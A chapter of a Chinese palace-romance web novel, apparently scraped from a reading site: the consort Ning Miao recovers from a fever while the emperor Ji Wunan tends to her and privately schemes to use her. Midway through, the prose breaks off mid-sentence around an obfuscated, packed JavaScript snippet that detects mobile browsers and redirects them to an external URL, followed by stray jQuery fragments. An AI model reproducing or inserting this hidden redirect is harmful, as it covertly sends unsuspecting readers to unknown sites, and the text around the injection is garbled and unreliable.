宁淼做了一个梦。
她奔跑在阴森茂密的树林里,身后是一群可怕的猛兽,它们嘶吼着咆哮着企图将她吞入腹中。
她快要力竭,五脏六腑仿佛挤在一团,密密麻麻的疼弥漫全身,几乎令她无法呼吸。
终于,她跑出了树林,却来到一座悬崖边,绝望的是,悬崖边上匍匐着一只受伤的老虎。
那时一只很瘦的老虎,一点没有百兽之王的威风霸气,棕黄色的瞳孔静静地看着她,蕴含着她看不透的悲伤。
虚弱的老虎比她更有吸引力,身后的猛兽们垂涎欲滴。
不能丢下他。宁淼莫名冒出这样的念头,就好像,那只老虎是对她而言是很重要无法舍弃的朋友。
猛兽们终于按耐不住,朝着老虎扑了过去。
它们没有得逞,宁淼推开老虎承受剧烈的撞击,身体如断了线的风筝一般朝着万丈悬崖飞下去。
她离那双悲伤的眼睛越来越远,直至模糊。
呼啸的风声里,宁淼听见悲鸣怮哭的虎啸。
……
睁开眼,映入眼帘的深邃丹凤眼与梦中的虎眼重叠,浓烈的悲伤几乎化为实质。
宁淼微微晃神:“陛下?”
“你发热病了。”纪无难的声音出乎意料的轻柔,带着些许说不清道不明的后怕。
热病?
宁淼恍然,难怪她觉得浑身酸疼。并不是真的被猛兽追咬,而是热病所致。
等等,她不是在温汤沐浴?
打量着床铺,这、这是重意殿的布置吧?
她是怎么到这儿来的?
宁淼的耳畔悄然红透,放在被子中的手悄悄移到身上,顿时松了一口气,穿着衣裳。
“落水之后,为何不请太医?”纪无难沉声道。
嗯?宁淼歪头:“当时没什么感觉。”
毕竟都到仲夏了,湖水并不冷,她从湖里游上来后确实没感觉不舒服。现在想来,应该是穿着湿衣裳在湖边对峙时吹了太久的风所致。
她一回到玉明轩洗澡又喝姜茶,本以为不会有什么,谁承想还是受寒了。
因着发热,她小脸透着虚弱的红润,一双鹿眼仿佛被水洗过,雾色朦胧,呆呆地歪着脑袋看着他。
纪无难心蓦地一软。本想继续质问的心思也淡了。
侧头道:“熬好的药。”
汤是暖月端进来的,她一进来,宁淼便闻到一股子苦味,下意识偏过头,眉间拧成一座小山峰。
她的嫌恶之情太明显。纪无难冷哼:“难不成要朕亲自喂你?”
宁淼一郝,身上的难受让她多了些委屈:“嫔妾喝药喝怕了。”
她一说,纪无难才想起来,叶符临的调查里,宁淼出生就体弱,从小就是个药罐子。
他生过病,知道常年吃药的痛苦,并不强迫她,而是吩咐:“让太医做成药丸子。”
“再吩咐膳房,做些蜜饯。”顿了顿,纪无难想到之前几次她都不用宵食,唯有上次用了那碗山药红枣鸽子汤,又道:“让裴一绝做。”
他突然这样温柔,宁淼“争宠”的心思又蠢蠢欲动。
于是柔柔一笑:“多谢陛下体贴。”
所谓“病弱西子胜三分”,宁淼本就生得漂亮,这会子病了,更添三分柔弱,小脸蛋红彤彤的,肌肤如同刚剥壳的鸡蛋一般光滑,不见丝毫毛孔。
若要用一物形容,大约如水润多汁的蜜桃,甜美可口。
一旁的暖月看了,心都忍不住怦怦跳,觉得这会美人便是要天上的月亮,自己也愿意去摘。
可纪无难却不为所动。他自认看透宁淼背后的靠山,对她刻意亲近的做作姿态尤为敏感。
太后刚打压了罗家,又想让她“吹”什么“风”?
本来因她发热昏迷所起的怜惜,此时散了个干净。
“你今日怎么不戴那支簪子了?”纪无难的声音又恢复冷清。
宁淼笑容微滞,心中暗骂,状似天真道:“陛下说的是如妃娘娘那一支?嫔妾本以为与如妃娘娘是神交之友,今日才发觉是嫔妾自作多情,那支簪子,嫔妾不想戴了。”
之前她还夸过如妃,营造出同为太后一派所以两人交好的假象。但今日芙蓉亭的事一定已经传到皇上耳朵里,她当时据理力争对如妃多有不敬,皇上恐怕会疑惑她言行不一致。
因此宁淼当机立断,决心改换策略。
因为此事在心里留下根刺,此后与如妃多不对付——这便是她的计划。
一来她不必压抑本性和如妃交好;二来一山容不得二虎本就正常,她与如妃“投靠”太后但各有心思,反而更真实。
只怕连太后都乐意看到这样的发展。
此计可谓一箭双雕。
纪无难果真信了。他也算发现了,这位宁美人自矜自傲喜爱奢华为人高调,若是安静本分的她也能友好,要是与她性格相似,那她一定会争个高低。
谁对她不客气,她便敢越嚣张。
德妃对她以礼相待,她便对德妃客气。
如妃与她作对,她对如妃也没好脸色。
明明只是美人位分,姿态摆的比贵妃还高。
纪无难心中冷笑,宁淼这样的人,就该将其捧高些。使其飘飘乎不知所以,然后再狠狠令其摔下。
如此,造成的伤害最大。
虽是太后的棋子,亦可为他所用。
“你不想戴,就别戴了。改日朕再赏你更好的。”他如是道。
就见宁淼眼睛一亮:“陛下说话算话!”
*
等她吃完药,纪无难回了前殿。
宁淼觉得身上的酸劲儿退了些,挣扎着想坐起来,暖月连忙扶她。
又是没有侍寝的一晚,宁淼的心已经趋于平静。
她转过头,发现暖月眼睛有些红,不免询问。
暖月擦擦眼尾:“奴婢是觉得对不住美人。从玉明轩出来时,美人就有些不对劲,奴婢却没看出来,这才叫美人发热晕在了池子里。若非陛下来的及时,美人呛溺池中,奴婢便是死一万次也不足惜。”
她是真的羞愧。若非青羽受伤,主子不会带着她来端元殿。可就她过来的这一次,宁淼出了事。
宁淼却无所谓:“我自己都没发现,你哪里看得出来。”她出玉明轩时也就觉得身上有点冷,可那会儿天刚黑正刮着风,觉得冷也正常,并未多想。
而且端元宫的规矩就是暖月得在殿外不能跟着,她又不习惯沐浴时身边有不熟悉的人,就没让人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909110|176878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
近身。
“不过你是说,是陛下救的我?”
暖月点头:“陛下回来,听闻您还在沐浴觉得不妥,便让人进屋提醒,这才发现您竟晕了过去,身子下滑,水都没过嘴巴了!”
想想都吓人!
宁淼有些尴尬,她是越泡澡越觉得晕乎,只以为是水热雾气多的缘故。
她招招手,示意暖月靠近,小声道:“那我的衣裳?”
暖月眨眼:“陛下让人唤奴婢进殿给您换的。”
宁淼顿时松气。
难得见她有这样羞窘的一面,暖月不由偷笑。
她有些调侃的意味道:“美人,您不知道,得知您在水中晕倒,陛下可着急了,脸色特别吓人,奴婢瞧见叶总管都瑟瑟发抖。”
宁淼不信,皇上会这么在意她?
暖月:“真的!等太医的时候,叶总管拉着我问了好些事情,事无巨细!我还听见他嘟囔着,说什么‘怎么刚好晕在水里呢’,叶总管可是皇上的心腹,若非皇上担心您,叶总管怎会如此上心?”
“而且,陛下都没说送您去比翼殿,而是直接让人送您到了重意殿!虽然重意殿里汤池更近,但这可是重意殿啊!从来没有妃嫔留在这儿的,皇上还许您今夜留宿!”
这不是在意是什么?暖月兴奋极了,这可是独一份的恩宠!
晕在水里?这对皇上来说有什么特殊的吗?难不成,是什么忌讳?对这种难以探寻的答案,宁淼不做多想。
但她还是做出相信暖月话的模样:“陛下果然心里有我!”
脑袋还是晕乎乎的,宁淼没有逞强,放松自己,没一会儿就睡着了。
*
宁淼留宿重意殿这件事太过特殊,终究没有瞒住,传到各宫。
各妃嫔还来不及哗然,又一道旨意传来:皇上今晚召如妃侍寝。
如妃!
要知道,在宁淼进宫之前,皇上召幸妃嫔并不频繁,而在这为数不多的次数里,常美人是最多的那个。别看如妃身居妃位,可她侍寝的次数一只手都数得过来!
有多事的暗中细数,距离如妃上一次侍寝,已有一年零四个月了!
妃嫔们想不明白,自从新妃入宫,皇上不光接连召宁美人侍寝,连如妃都开始宠幸了。
难不成,皇上真的转性儿了?
玉明轩里,宁淼接到这道旨意的时候,叶小能刚给她送来一匣子首饰,光各色簪子就有六支。
青羽欢喜地挨个儿给她试戴。
暖栗不重样地说着恭贺的话。
然后如妃侍寝的消息就传来了。
暖栗声音戛然而止,看着本来得意的宁美人收了笑容,拔了头上的簪子,砸进地毯里。
“什么脏的臭的,我不稀罕!”
暖栗睁大眼睛,宁美人怎么敢!这可是陛下赐的簪子,宁美人竟说是脏的臭的!她抖如筛糠。
宁淼尤自不屑。
她说的脏的臭的指的是皇帝。
前脚赏她首饰,后脚就宣如妃侍寝。
这是故意想让她和如妃打擂台?
偏她必须得上钩。
只是,一匣子首饰就想叫她卖力去争去斗,也太瞧不起她了。
她呀,贪心得很。